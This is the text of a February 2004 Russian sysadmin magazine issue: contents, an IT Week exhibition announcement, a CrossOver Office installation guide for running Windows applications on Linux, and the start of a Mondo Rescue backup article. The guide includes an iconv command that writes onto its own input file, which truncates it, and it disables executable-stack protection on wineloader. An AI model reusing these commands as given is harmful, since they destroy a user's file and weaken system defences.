№2(15) февраль 2004 подписной индекс 81655 журнал для cистемных администраторов, вебмастеров и программистов
Запуск Запуск Windows-приложений Windows-приложений под под Linux Linux cc помощью помощью CrossOver CrossOver Office Office Спасем Спасем пингвина: пингвина: Mindi Mindi Linux Linux ии Mondo Mondo Rescue Rescue Последствия Последствия гибернации гибернации вв Linux Linux QNX Qnx Frenzy: Frenzy: FreeBSD FreeBSD вв кармане кармане сисадмина сисадмина
№2(15) февраль 2004
Архитектура Архитектура файловой файловой системы системы FAT FAT По По SUSекам SUSекам Microsoft Microsoft Жизненный Жизненный цикл цикл червей червей Использование Использование SQLite SQLite ии PHP5 PHP5
оглавление АДМИНИСТРИРОВАНИЕ
Работа с утилитой make
Запуск Windows-приложений под Linux с помощью CrossOver Office Андрей Бешков tigrisha@sysadmins.ru
Антон Иванов a-i@bk.ru
38
4 Архитектура файловой системы FAT Владимир Мешков ubob@mail.ru
Спасем пингвина
42
Резервирование данных и восстановление системы с помощью Mindi Linux и Mondo Rescue. Сергей Яремчук grinder@ua.fm
WEB 14
Мы с Linux этим ложимся и с Linux этим встаем – последствия гибернации Антон Борисов a.borisov@tesv.tmb.ru
Андрей Уваров dashin@ua.fm
Денис Колисниченко dhsilabs@mail.ru
Программное управление ADSI: WinNT
24
Frenzy: FreeBSD в кармане сисадмина Сергей Можайский technix@ukrpost.com.ua
Как чертик из коробочки Обзор эмулятора Bochs. Валентин Синицын val@linuxcenter.ru
№2(15), февраль 2004
Иван Коробко ikorobko@prosv.ru
66
БЕЗОПАСНОСТЬ
QNX Александр Байрак x01mer@pisem.net
58
22 ОБРАЗОВАНИЕ
VPN success story (mini-HOWTO) Андрей Мозговой brain@m9.ru
56
18 Использование SQLite и PHP 5
Простая установка MRTG для Red Hat Linux Андрей Маркелов andrew@markelov.net
Кэширование веб-сценариев
26
Жизненный цикл червей Крис Касперски kk@sendmail.ru
76
Уязвимости в MS Windows. 30 В поисках решения проблемы по SUSекам Microsoft Михаил Платов platov@cs.vsu.ru
34 BUGTRAQ
88 64
1
УНИКАЛЬНЫЕ СОБЫТИЯ НА КОМПЬЮТЕРНОМ РЫНКЕ Впервые организованная в 1989 году, выставка Неделя Информационных Технологий «IT Week Russia», известная в прошлом как Comtek, за пятнадцать лет своего существования пережила и взлеты и падения. В предыдущие годы в Неделю Информационных Технологий входила выставка Сomtek, которая состояла из нескольких направлений, и конференция E-Business. Развитие выставки в течение последних лет привело к необходимости выделить отдельные разделы в самостоятельные выставки. С этого года в Неделю Информационных Технологий будут входить пять самостоятельных выставок и две конференции. Этот шаг позволил расширить масштаб выставки, объединяющей все аспекты компьютерного бизнеса, что, в свою очередь, дает возможность привлечь к участию в выставке большее число компаний, занятых во всех сферах индустрии информационных технологий. Давид Патеишвили, директор выставки, сказал: «В этом году мы расширили темы, представленные на экспозиции, которые теперь охватывают все области компьютерной индустрии. Это дает превосходную возможность и участникам, и посетителям выставки принять участие и ознакомиться сразу с пятью выставками и двумя конференциями, проходящими в одно время и в одном месте. Это также позволит нам улучшить маркетинговую и рекламную кампании для каждой из выставок и конференций, проходящих в рамках Недели Информационных Технологий, с учетом целевой аудитории, специфичной для каждой из них. Хочется добавить, что некоторые выставки, которые будут проходить в рамках Недели Информационных технологий, не имеют аналогов в России, являясь тем самым уникальными». В рамках Недели Информационных Технологий пройдут следующие выставки и конференции: 1. Personal Computing Expo – общая, неспециализированная выставка, ориентированная на конечных пользователей. В ней представлены производители и дистрибьюторы персональных компьютеров и периферии, компьютерных игр, дистрибьюторы сотовой техники и портативных компьютеров, интернет- и контентпровайдеры и многие другие. 2. Hardware & Peripherals Expo – специализированная выставка, на которой представлены: компьютеры, мониторы, периферийные устройства, комплектующие, накопители, коммуникационное оборудование и услуги, т.е. весь спектр hardware, ориентированного на ведение бизнеса. 3. Международная конференция eLearning Russia (Информационные технологии в образовании), на которой будут освещены последние достижения образовательных технологий в школах, вузах, а также рассмотрены вопросы дистанционного и бизнес-образования.
2
4. Software Expo – специализированная выставка, ориентированная на программные продукты для систем бухгалтерского и складского учета, комплексного ПО управления предприятием, систем управления документооборотом, систем распознавания документов, разработку ПО, защиту информации. В рамках этой выставки будет подготовлен цикл тематических семинаров, посвященных актуальным вопросам в области разработки экономических программ и систем управления бизнесом. 5. Специализированная выставка CAD/CAM/CAE представляет системы автоматизированного проектирования. Для большинства российских производителей необходимость использования САПР для оптимизации работы предприятия стала очевидной. Особенно ярко это проявляется в таких отраслях, как авиастроение, автомобилестроение, тяжелое машиностроение, архитектура, строительство, нефтегазовая промышленность. 6. eLearn Expo – специализированная выставка, на которой будут демонстрироваться новейшие продукты и технологии в сфере электронного обучения, предназначенные для коллективного и индивидуального пользования. Дистанционное обучение через сети Internet и Intranet, получившее широкое распространение в развитых странах, становится все более актуальным и для России. 7. eBusiness Russia (Электронный бизнес в России) – международная конференция, посвященная вопросам автоматизации бизнес-процессов, развития электронной коммерции, подбора ИТ-персонала. Выставка IT-week остается ведущей международной выставкой информационных технологий в России и странах СНГ. Это уникальное место для проведения переговоров с первыми лицами сразу нескольких крупных фирмпоставщиков оборудования и решений. Практически все крупные западные вендоры присутствуют на выставке непосредственно или при посредстве своих российских партнеров. В соответствии с растущими потребностями рынка и увеличением числа участников экспозиция расширила площадь, которая в этом году составит 8000 кв. м. В выставках, которые пройдут в течение 4 дней, примут участие 250 ведущих компаний отрасли из 25 стран мира. Ожидается, что число посетителей выставки превысит 75 000 человек, включая руководителей верхнего и среднего звена, технических специалистов и IT-администраторов, из более 500 городов России и СНГ. «IT Week 2004», 15-ая Международная Выставка Информационных Технологий пройдет в «Экспоцентре» на Красной Пресне в Москве с 26 по 29 апреля 2004 года.
администрирование
ЗАПУСК WINDOWS-ПРИЛОЖЕНИЙ ПОД LINUX C ПОМОЩЬЮ CROSSOVER OFFICE
Для большинства людей сложность использования того или иного диалекта Linux в качестве рабочей станции состоит не только в том, что нужно пересесть на совершенно отличную от Windows систему, но и в отсутствии привычного окружения. Несмотря на впечатляющие успехи офисных программ из клана Open Office и Star Office, для многих и по сей день милее всех остается Microsoft Office. Почту большинство пользователей опять же любят читать ни чем иным, как The Bat или Outlook. Ну а бороздить просторы сетей подавляющее большинство простых людей предпочитает с помощью Internet Explorer. Никому нет дела до того, что это небезопасно, зато очень удобно. С точки зрения организаций, владеющих тем или иным количеством лицензий на Microsoft Office или какие-либо другие приложения, заточенные для работы сугубо под Windows, переход на Linux будет выбрасыванием на ветер денег, заплаченных за эти самые лицензии. Думаю, руководство предприятия не поймет такой расточительности. Самое интересное в данной ситуации то, что ни Microsoft, ни какой-либо другой производитель программного обеспечения не может запретить вам работать с их программами под управлением другой операционной системы. Иначе это будет нарушением антимонопольного законодательства. Максимум, что может сделать производитель в данной ситуации, – это отказать вам в предоставлении технической поддержки. Впрочем, о качестве этой самой поддержки говорить можно много и не обязательно будут сказаны хорошие слова.
АНДРЕЙ БЕШКОВ 4
администрирование Сегодня мы поговорим о том, как с помощью CrossOver Office запустить и успешно работать c вышеперечисленными, а также множеством других Windows-приложений под управлением Linux. В качестве основной операционной системы выбран ALT Linux Master 2.2. Впрочем, на всех остальных видах Linux все приемы, описанные ниже, должны работать так же легко. Как обычно, для начала маленький экскурс в историю обсуждаемого вопроса. CrossOver Office построен на основе кода, унаследованного от открытого проекта WINE. В первую очередь он предназначался для запуска офисных приложений Windows-платформы, но постепенно превратился в нечто более мощное. Несмотря на свое название, предок CrossOver Office не имеет никакого отношения к виноделию и спиртным напиткам. Единственное предназначение WINE состоит в том, чтобы дать пользователям возможность запускать программы, написанные для Windows внутри Linux. Сокращение WINE расшифровывается следующим образом: «Wine Is Not Emulator», то есть создатели проекта категорически настаивают на том, что они не занимаются эмуляцией Windows. Выглядит это весьма странно, учитывая то, что WINE работает по технологии эмуляции API (Applications Programming Interface) операционных систем Win32. В тот момент, когда подопытная Windows-программа, запущенная под Linux, обращается к несуществующей операционной системе типа Windows с просьбой выполнить ту или иную функцию, WINE перехватывает аргументы, передаваемые программой в функцию. Затем происходит вызов своей собственной реализации этой функции, а по завершению результаты работы возвращаются в эмулируемую программу. Для того чтобы подобный ход событий стал возможен, добровольцам, участвующим в проекте, пришлось написать свои собственные UNIX-реализации для большинства часто используемых DLL Windows-систем. Объем проделанной работы огромен, и успешность данного предприятия поражает. Но, к сожалению, не все системные библиотеки хорошо документированы, поэтому часто приходится заниматься дизассемблированием и реверсивным инжинирингом проприетарного кода и только затем писать свой собственный, выполняющий те же действия. Такой метод разработки отнимает очень много сил и времени. Поэтому надеяться на то, что WINE или какая- либо другая система эмуляции API как по мановению волшебной палочки сможет запустить все сто процентов существующих Windows-программ не стоит. Особенно если учесть, что Windows-системы не замерли на одной точке своего жизненного цикла, а продолжают довольно динамично развиваться. Наверное, стоит подходить к вопросу о количестве Windows-программ, успешно запускаемых под Linux, более реалистично. Я бы сказал, что в случае, когда подопытная программа не использует каких-либо редких функций и не злоупотребляет защитой от копирования, вероятность того, что она запустится внутри эмулятора, равна примерно 70 процентам. В то же время стоит отметить один немаловажный факт, выгодно отличающий системы с эмуляцией API от систем полной эмуляции (в качестве распространенного примера которых можно говорить о широко известной VMWare Workstation). Скорость
№2(15), февраль 2004
выполнения эмулируемой программы под управлением систем первого типа будет ниже на 1-2 процента по сравнению со скоростью работы в родной среде. Налицо мизерная потеря эффективности выполнения, которую пользователь вряд ли заметит. К сожалению, при работе с системами полной эмуляции добиться такого блестящего результата не удастся. Если вам хотелось бы подробнее почитать о проекте WINE, то милости просим на сайт http://www.winehq.com. Что-то теоретическая часть статьи сегодня слегка затянулась, а раз так, то значит, нам пора переходить к активным наступательным действиям. CrossOver Office, разрабатываемый компанией Codeweavers Inc, в отличие от WINE, не является бесплатным проектом на том простом основании, что включает в себя довольно много самописного программного обеспечения. В результате весь набор программ сильно выигрывает в удобстве и простоте использования при сравнении со своим прародителем. В то же время, реализации многих Win32-функций впервые появляющиеся в CrossOver Office, добровольно передаются в дар проекту WINE. Налицо полезный симбиоз, когда платный проект активно поддерживает движение свободного программного обеспечения. Одна клиентская лицензия CrossOver Office на момент написания статьи стоила 54.95$. Для тех, кто любит точно знать, что покупает, есть тридцатидневный пробный период. Пробная версия ничем не отличается от платной, за исключением временного ограничения и редкого появления на экране вот такого уведомления.
Ее можно получить, если отправить запрос со следующей страницы: http://www.codeweavers.com/site/products/ download_trial. В течение нескольких минут по электронной почте придет письмо, содержащее URL, имя и пароль, пользуясь которыми, можно скачать инсталляционный пакет. Получив файл install-crossover-office-demo-2.1.0.sh, даем ему право на выполнение. Скрипт, который мы только что скачали, самостоятельно произведет распаковку и установку всех нужных компонентов, поэтому не стоит удивляться, что размер его равен 11,2 Мб. Дальше возможны следующие варианты: если запустить установку от имени обычного пользователя, то право запускать Windows-программы появится только у этого конкретного пользователя, потому что все файлы будут установлены в директорию $HOME/cxoffice. Напомню, что под стандартным для UNIX-систем обозначением переменной $HOME понимается домашняя директория пользователя. Ну а если сделать это от имени пользователя root, то работать с CrossOver Office смогут все пользователи системы. А системные файлы разместятся в директории /opt/cxoffice. Лично мне больше подходит второй вариант, поэтому в дальнейшем предполагается, что инсталляция будет проходить с правами пользователя root.
5
администрирование Но пользоваться такими правами мы будем только до тех пор, пока это необходимо. Ну а если вам удалось скачать платную версию, то устанавливать ее нужно вот такой командой: rpm -Uhv cxoffice-2.0.1-1.i386.rpm
В остальном же процедура установки обоих видов пакета ничем не отличается. После запуска инсталляции на экране появится довольно интересное лицензионное соглашение. Можно просто нажать кнопку «I Agree», выразив тем самым свое согласие с предлагаемыми условиями, а лучше внимательно прочитать. Через некоторое время вы сможете заметить, что человек, составлявший соглашение, обладал довольно развитым чувством юмора.
Во многих современных Linux-системах используется ядро, модифицированное для того, чтобы уменьшить ущерб, наносимый вредоносными программами, которые активно используют технику срыва стека. По умолчанию на все исполняемые файлы устанавливается флаг, запрещающий работу с исполняемым стеком. Таким образом, получается, что если злоумышленник вызовет срыв стека, программа рухнет, но не станет выполнять код, записанный в стек в результате атаки. Большинству программ функции исполнения кода в стеке не нужны для нормальной работы. Но некоторые программы, и CrossOver Office в частности, могут не работать в таких системах. Проверим, установлен ли флаг исполняемого стека на программу wineloader, которая используется для запуска Windows-приложений. # chstk -v /opt/cxoffice/bin/wineloader /opt/cxoffice/bin/: Non-executable stack area
Судя по выводу, очевидно, нужный флаг не установлен. Думаю, всем понятно, что его необходимо установить. # chstk -e /opt/cxoffice/bin/wineloader
И обязательно проверить успешность такого действия. # chstk -v /opt/cxoffice/bin/wineloader /opt/cxoffice/bin/: Executable stack area
Сразу после принятия лицензионного соглашения нам будет предложено указать директорию, где должны расположиться системные файлы CrossOver Office. По умолчанию предлагается использовать для этих целей /opt/cxoffice.
После этого можно закрыть сеанс пользователя root, так как его права нам больше не понадобятся. Входим в систему от имени пользователя, который в дальнейшем будет работать с Windows-приложениями. Если внимательно посмотреть на меню оконного менеджера, то можно заметить, что там добавилось подменю CrossOver Office.
Мы снова согласимся, и, к всеобщему облегчению, начнется копирование файлов. После того как этот процесс будет завершен, на экране появится окошко, изображенное на следующем рисунке.
Терпеливо ждем, пока система выполнит все необходимые действия, и ни в коем случае не пытаемся вмешаться в ход событий. В зависимости от скоростных характеристик машины, на которой происходит процесс, ожидание может затянуться вплоть до 10 минут. Затем, приняв поздравления с удачным завершением установки, нажимаем кнопки «OK» и «Exit».
6
А после установки первого Windows-приложения появится еще и меню Windows Applications. Думаю, назначение обоих вышеназванных объектов очевидно для всех. Настало время сделать так: $ /opt/cxoffice/bin/officesetup
Или воспользоваться пунктом меню Office Setup. В ответ начнет работать программа пользовательской установки.
администрирование Первым делом нужно установить DCOM95. Для этого жмем кнопку «Install» и в появившемся списке официально поддерживаемых приложений выбираем этот пакет.
Если для доступа в Интернет используется проксисервер, то нужно вписать его адрес и порт в соответствующие поля диалогового окна, иначе автоматически скачать нужное программное обеспечение будет затруднительно. В домашней директории пользователя появится папка .cxoffice, в которую будет скопирован минимальный набор директорий и файлов, необходимый для запуска Windows-приложений. А тем временем на экране появится главное окно программы officesetup, пользуясь которой, мы будем управлять всей системой CrossOver Office.
В верхнем списке отображаются пакеты, уже установленные в систему. Хотя этот список не всегда отображает реальное состояние дел. Все программное обеспечение делится на две категории: официально поддерживаемое и его антипод – неподдерживаемое. Официальные пакеты протестированы и должны надежно, насколько это слово применимо к Windows-программам, работать под управлением CrossOver Office. Ну а неофициальные мы будем инсталлировать на свой страх и риск, и никто не даст гарантии, что это потом будет работать. Впрочем, волшебную силу шаманского бубна еще никто не отменил, так что отчаиваться не стоит. Лично мне удалось запустить почти все программы, которые я привык часто использовать под Windows.
№2(15), февраль 2004
Как обычно, жмем кнопку «Next». На следующем экране надо выбрать тип инсталляции. Экспресс-установка хороша тем, что нужные файлы будут скачаны из сети автоматически. В большинстве случаев желательно пользоваться именно этим способом.
Ну а если с доступом в Интернет с этой машины у нас какие-либо проблемы, можно воспользоваться процедурой Advanced install, с помощью которой есть возможность узнать, откуда будут скачиваться файлы, и вытащить их оттуда вручную. Скачать DCOM95 можно отсюда: http:// www.microsoft.com/com/dcom/dcom95/download.asp. Или воспользоваться сервисом filesearch.ru. Затем перенести его на нашу машину и принудительно указать, где находится то, что нужно. Хотя тут программисты из команды Codeweavers допустили ошибку. На следующей картинке ее очень хорошо видно. Несмотря на то, что я точно указал, где на локальном диске находятся файлы инсталлятора, кнопка «Next» остается неактивной. Конечно, всплывает эта ошибка не каждый раз, иначе она была бы уже давным-давно исправлена.
Но и на эту беду есть свое лечение. С помощью кнопки «Prev» возвращаемся к первому шагу и выбираем фла-
7
администрирование жок «Install unsupported software» и, пройдя этой веткой установки, указываем, где лежит выполняемый файл.
В общем, тем или иным способом сообщив системе, где брать файлы, нажимаем на многострадальную кнопку «Next». Через некоторое время на экране появится вот такое окошко:
Жмем на кнопку «Да», затем принимаем лицензионное соглашение. И подождав, пока завершится копирование файлов, получаем вот такую ошибку:
На самом деле ничего страшного не произошло. Просто нам намекают, что для нашей версии Windows нужен DCOM98. Хотя это, конечно, неправда, все нужные файлы уже установились в директорию: $HOME/.cxoffice/dotwine/ fake_windows/Windows/System/dcom95/. Теперь осталось смотреть на следующую картинку и терпеливо ждать, пока система выполнит все нужные действия.
Хотя иногда встречается программное обеспечение, которое зацикливается на этом этапе. Тогда, чтобы закончить инсталляцию, приходится воспользоваться кнопкой «Installer is finished». Ярким примером такого вида программ служит Microsoft Office 2000 Service Pack 2. Хотя, конечно, это способ из разряда экстремальных, и лучше им никогда не пользоваться, потому что в результате этого может полностью разрушиться имеющаяся инсталляция CrossOver Office.
8
Воспользовавшись опцией «View installed associations», можно увидеть, обработчиком каких расширений файлов и MIME-типов объявила себя установленная программа. Например, Microsoft Power Point может заявить себя обработчиком файлов типа *.ppt. Кстати, если отключить опцию «Remove installer files», то все дистрибутивные файлы, что были скачаны из сети, останутся в директории: $HOME/.cxoffice/installers/. Иногда для экономии трафика такая возможность бывает очень полезна. Завершаем инсталляцию нажатием кнопки «Finish» и возвращаемся в главное окно программы. Теперь, если нажать на кнопку «Install» и посмотреть в список приложений, мы сможем увидеть, что DCOM95 помечен звездочкой, обозначающей, что этот компонент уже установлен. Думаю, для вас не составит труда самостоятельно разыскать в сети и установить DCOM98, о необходимости которого нам недавно намекали. А я тем временем перейду к установке TTF-шрифтов, наиболее подходящих для Windows-приложений. Надеюсь, что, пользуясь вышеописанной методикой, вы понимаете, как это сделать. Проблема в том, что каждый шрифт инсталлируется отдельно, так что придется одиннадцать раз выполнить процедуру инсталляции. Не совсем понятно, почему сделано именно так, но другого пути, видимо, нет. Закончив все предварительные операции, начнем установку Microsoft Office 2000. Я использовал именно его, потому что Office XP в тот момент под рукой не было. Хотя впоследствии для теста он был установлен вместо Office 2000. Итак, приступим. В списке приложений выбираем Office 2000, вставляем в CD-ROM диск с Microsoft Office 2000 и указываем источник инсталляции.
А в ответ получаем вот такое предупреждение.
администрирование Жмем кнопку «Detail» для того, чтобы узнать, в чем проблема, и получаем следующее объяснение.
Проблема в том, что некоторые из файлов дистрибутива специально помечены как скрытые, и настройки файловой системы для устройства CD-ROM, которые записаны в /etc/fstab, не позволяют их увидеть. Конечно, можно нажать кнопку «Proceed despite likely error», тем самым проигнорировав все предупреждения, но тогда на удачное завершение инсталляции надеяться не стоит. Поэтому воспользуемся кнопкой «Fix». В ответ на наше действие запустится скрипт /opt/cxoffice/bin/unhide_fstab, который внесет необходимые изменения в файл /etc/fstab. Того же самого результата можно добиться, если в том самом файле собственноручно исправить запись, описывающую устройство /dev/cdrom, так чтобы она выглядела следующим образом:
скрипт /opt/cxoffice/bin/cxreboot. Как это выглядит, вы можете видеть на следующем снимке.
По завершении установки можно посмотреть, обработчиками каких типов файлов объявили себя свежеустановленные приложения.
/dev/cdrom /mnt/cdrom auto ↵ unhide,user,iocharset=koi8-r,exec,ro,noauto 0 0
Ключевая опция, из-за которой случились все эти недоразумения, называется «unhide». После добавления ее в описание файловой системы в большинстве диалектов Linux все должно заработать как положено. На самом деле лично мне этот трюк не помог по той простой причине, что в ALT Linux для монтирования сменных носителей используется подсистема autofs, управляющая демонами automount. Таким образом, получается, что файл /etc/fstab не имеет никакого отношения к реальному механизму работы со сменными носителями. Поэтому мы открываем файл /etc/ auto.tab и приводим строку, отвечающую за /dev/cdrom к такому виду: cdrom
-fstype=auto,unhide,ro,iocharset=koi8-r :/dev/cdrom
Для того чтобы изменения вступили в силу, перезапускаем демона autofs, выполняя команду: #
service autofs restart
Вот теперь можно вернуться к установке Microsoft Office 2000. Вместе с офисными приложениями по умолчанию будет установлен и Microsoft Internet Explorer. После всех этих манипуляций установка должна пройти гладко как по маслу. В принципе этого и стоило ожидать. Единственным интересным моментом тут можно назвать точку в инсталляции, когда копирование и установка файлов закончены и необходимо выполнить перезагрузку Windows. CrossOver Office обычно довольно хорошо распознает такие моменты и самостоятельно запускает
№2(15), февраль 2004
Как вы смогли заметить, файлы типа *.doc теперь привязаны к приложению winword.exe. Налюбовавшись полным списком приложений и связанных с ними типов файлов, стоит обязательно обратить внимание на колонку «Enabled», которая показывает, включена ли данная ассоциация. Кстати, стоит упомянуть, что вдовесок к Microsoft Office 2000 будут автоматически установлены Mplayer, Internet Explorer 5.0, Outlook Express и куча прочего вспомогательного обеспечения. А на следующем снимке экрана вы можете посмотреть, как выглядит Microsoft Word под управлением Linux. Как видите, кроме оформления окна, программа выглядит точно так же, как если бы она работала под Windows. Я думаю, это очень впечатляет. Все остальные только что установленные офисные приложения работают также на редкость хорошо. Налюбовав-
9
администрирование
шись на дело рук своих, продолжаем изучать CrossOver Office. Вкладка интерфейса «Menus» показывает, какие пункты меню добавило приложение в систему. Пользуясь кнопками, расположенными возле каждого пункта списка, можно легко управлять этими меню. Как вы смогли заметить, названия меню, написанные кириллицей в кодировке cp1251 и автоматически конвертированные в UTF-8, выглядят не очень хорошо. И самый неприятный факт состоит в том, что я пока не нашел, где хранятся строки, отображаемые в качестве названий меню на следующем рисунке.
А из этих строк создаются названия для меню оконного менеджера, которые хранятся в файле $HOME/.menu/cxoffice. А так как кодировка не совпадает, то и производные от него меню тоже получаются кривыми. Как временное решение можно выполнить конвертирование из кодировки cp-1251 в utf-8 и затем пересоздание меню оконного менеджера. Добиться этого можно следующими командами. $ iconv -f cp-1251 -t utf-8 $HOME/.menu/cxoffice > ↵ $HOME/.menu/cxoffice $ update-menus –n –u
Переходим к следующей вкладке интерфейса программы officesetup.
10
администрирование Здесь у нас находятся глобальные настройки Windowsсистемы. Первым делом можно настроить опцию My Documents так, чтобы Windows-программы думали, что папка C://Мои документы находится в /home/tigrisha/ Documents. Таким образом, все офисные документы будут храниться там, где это принято в Linux-системах. Следующая опция Browsers позволяет назначить интернет-браузер, используемый по умолчанию Windows-приложениями. Сразу же после инсталляции таковым назначен Internet Explorer, но никто не мешает выбрать для этой роли какую-либо другую программу. Например, родной для Linux браузер Mozilla. Еще ниже находится кнопка «Online Update». Самые догадливые читатели уже поняли, что она позволяет скачать с сайта codeveawers.com новейший список официально поддерживаемых приложений.
И самое веселое то, что фокус ввода находится именно в окне с логотипом, так что нажатие клавиши «Enter» ничего не даст. Поэтому придется схватить нужное нам окно за левый верхний угол, вытянуть его на свет божий. Окно с логотипом исчезнет только после того, как мы ответим на все вопросы, задаваемые инсталлятором. После удачной инсталляции и первого запуска The Bat нужно закрыть и дождаться, пока CrossOver Office завершит все служебные процедуры. Затем желательно провести перезагрузку Windows c помощью запуска скрипта /opt/cxoffice/bin/cxreboot. На экран начнут сыпаться сообщения, подобные этим: При нажатии кнопки «Advanced» мы видим еще несколько настроек. Первая из них указывает, где находятся бинарные файлы, динамически загружаемые библиотеки и TTF-шрифты. Эта опция позволяет поставить в систему несколько разных инсталляций CrossOver или WINE и безболезненно переключаться между ними в поисках именно той версии, которая будет лучше всего работать с нашими Windows-приложениями. Настройки http прокси-сервера пропускаем, потому что работать с ними проще простого. А вот следующая опция уже гораздо интереснее. Outlook Security позволяет указать, какие типы файлов, присоединенные к электронным письмам, запрещено открывать. Всем известно, что Outlook дыряв, как решето, и позволяет злоумышленнику создать письмо с присоединенным файлом, который по получению будет автоматически выполнен. Умело пользуясь вышеуказанной опцией, мы сможем сделать работу с почтой гораздо безопаснее. Закончив с установкой официально поддерживаемых программ, перейдем к работе с неофициальными. В качестве примера можно взять The Bat. Инсталляция проходит без особых проблем, за исключением одной мелочи. На экране появляется вот такое окно, и висеть оно будет здесь бесконечно. Проблема в том, что за окном с логотипом летучей мыши скрыто диалоговое окно с вопросом, стоит ли привязать к этому приложению обработку файлов с расширением vcf, msg.
№2(15), февраль 2004
Обязательно дождитесь появления надписи «No commands. Done». И только после этого можно будет полноценно работать с установленной программой. На следующем экране можно увидеть довольно хорошо функционирующий экземпляр The Bat.
11
администрирование
Кстати, обратите внимание на то, что вокруг кнопок инструментальной панели появились дыры, через которые виден фон. К сожалению, могу сказать, что это не единственное неудобство, встреченное мной при работе с The Bat под CrossOver Office. Вторая проблема состоит в том, что программа, используемая для русификации The Bat и называемая Internation Pack, устанавливается нормально, но после этого ни одно меню в почтовом клиенте уже не работает. Так что, пока программа русификации будет так себя вести, придется обходиться только английским языком. В остальном же все работает нормально. Иногда случается так, что устанавливаемая программа не создает никаких меню и не выкладывает на рабочий стол своих ярлыков. В таком случае нам нужно научиться самостоятельно создать пункт меню оконного менеджера или ярлык. Но первым делом стоит изыскать возможности запускать установленную программу. Итак, представим, что наша подопытная программа установилась в папку C:/Program Files/QuickViewer/, а исполняемый файл называется viewer.exe. Самый простой – хотя и самый медленный – способ запустить данное приложение – это подать команду: $ /opt/cxoffice/bin/wine –-cx-app viewer.exe
Читатель может спросить, почему вышеуказанный спо-
12
соб является самым медленным. Все очень просто: мы ведь не указали, где находится папка, в которой хранится выполняемый файл приложения, и теперь CrossOver Office вынужден обыскать все папки нашей поддельной Windows-системы. Область поиска можно существенно сузить с помощью ключа --workdir и имени директории: $ /opt/cxoffice/bin/wine --workdir "/home/tigrisha/.cxoffice/ ↵ dotwine/fake_windows/Program Files/QuickViewer" ↵ "C://Program Files//QuickViewer//viewer.exe"
Вот этот способ работает более быстро за счет четкого указания пути и рабочей директории программы. А без ключа --cx-app можно вполне неплохо обойтись. Для удачного запуска многих программ указывать рабочую директорию не обязательно, хотя есть такие экземпляры, которые без этого параметра никогда не будут работать. Конечно, лучше всего передавать этот параметр для каждой выполняемой программы, нам это ничего не стоит, а им приятно. Иногда случается так, что Windows-программа бывает доступна вместе с исходным кодом, тогда ее можно скомпилировать для работы в Unix-системе, используя вместо родных функций реализации функций из библиотеки winelib. Среди пользователей wine такие программы называются соответственно winelib-программами. Приятной особенностью приложений такого типа явля-
администрирование ется возможность работать самостоятельно без применения wine. В то же время wine умеет запускать и такие приложения. Предположив, что программа из предыдущего примера создана с помощью winelib, выполняем ее следующей командой: $ /opt/cxoffice/bin/wine –wl-app viewer.exe
Впрочем, вряд ли кому-либо из вас придется часто пользоваться winelib-программами. Все-таки сообщество Windows-разработчиков в силу другого восприятия мира нечасто свободно раздает исходные коды своих разработок. Есть еще один способ запускать приложения. С помощью ключа командной строки --ux-app Wine может выполнять настоящие Unix-приложения. Для чего это сделано, лично мне не понятно, но, видимо, разработчикам такая возможность показалась жизненно необходимой. Итак, мы научились самостоятельно запускать Windowsприложения. Теперь нужно создать соответствующий нашей программе пункт меню. Сделать это можно несколькими способами. С помощью программы /opt/cxoffice/bin/ cxmenu или просто отредактировав файл $HOME/.menu/ cxoffice и добавив в него нужную запись. Или создать нужные файлы в директориях, где хранятся настройки вашего оконного менеджера. Например, для KDE нужно создать файл «имя приложения.desktop» в папке $HOME/.kde/ share/applnk/ следующего содержания: # KDE Config File [Desktop Entry] Name=Super Fast Graphic Viewer Exec="/opt/cxoffice/bin/wine" --workdir "/home/tigrisha/ .cxoffice/dotwine/fake_windows/Program Files/QuickViewer" "C://Program Files//QuickViewer//viewer.exe" Type=Application Comment=Super Fast Viewer X-Created-by=CrossOver Office Icon=/home/tigrisha/.cxoffice/dotwine/fake_windows/ ↵ Windows/Icons/0050046416b9.14.xpm
№2(15), февраль 2004
↵ ↵
А для Gnome нужно положить в директорию $HOME/ .gnome2/applications/ файл «имя приложения.desktop» со следующими данными: [Desktop Entry] Name= Super Fast Graphic Viewer Type=Application Exec="/opt/cxoffice/bin/wine" --workdir "/home/tigrisha/ .cxoffice/dotwine/fake_windows/Program Files/QuickViewer" "C://Program Files//QuickViewer//viewer.exe" X-Created-by=cxoffice Icon=/home/tigrisha/.cxoffice/dotwine/fake_windows/ ↵ Windows/Icons/0050046416b9.14.xpm
↵ ↵
После всех этих манипуляций для того, чтобы изменения вступили в силу, нужно подать команду: $ update-menus –n –u
Наверно, самые внимательные читатели уже задались вопросом, почему мы используем в качестве иконок для приложений картинки в формате xpm. Все дело в том, что во время инсталляции CrossOver Office производит конвертацию значков из формата ico в xpm и кладет их в директорию $HOME/.cxoffice/dotwine/ fake_windows/Windows/Icons/ со случайными именами. Видимо, это сделано для того, чтобы не связываться с проприетарным форматом ico. Впрочем, я думаю, вам не составит труда определить с помощью любого просмотрщика картинок, какая иконка принадлежит нужному приложению, и соответственно привязать ее куда нужно. В следующей статье мы рассмотрим более подробно внутреннее строение CrossOver Office и трюки, применяемые при попытке запустить неподдерживаемые приложения. Также будут описаны методы, применяемые для отладки и трассировки процесса эмуляции, и приемы, позволяющие понять, чего именно не хватает Windows-приложениям.
13
администрирование
СПАСЕМ ПИНГВИНА
СЕРГЕЙ ЯРЕМЧУК Хотя Linux – устойчивая система, но бывает всякое, особенно если к факторам, ведущим к остановке сервера, добавить и аппаратные проблемы, еще действие вирусов и самих пользователей. Поэтому необходимость в постоянном резервировании данных понимают все системные администраторы, а кто еще не понял, то после первого печального опыта обычно все встает на свои места. В отличие от Windows, для которой написано множество в большей части коммерческих программ для восстановления системы, под Linux обычно обходятся штатными средствами, т.е. утилитами tar, gzip, dd и пр. Бывалые админы уже имеют пару-тройку скриптов, позволяющих автоматизировать эту операцию, а для начинающих эта операция может вызывать пока еще головную боль. Для тех, кто ищет себе удобный инструмент для резервирования данных и восстановления системы, и предназначена эта статья. В ней речь пойдет о пакетах Mindi Linux и Mondo Rescue, написанных и поддерживаемых в основном одним человеком, Hugo Rabson, первая версия которых увидела свет 18 февраля 2000 года, домашняя страница проекта http:// www.mondorescue.org/index.html. Проект уже получил поддержку множества пользователей и не в последнюю очередь благодаря простоте, позволяющей разобраться и но-
14
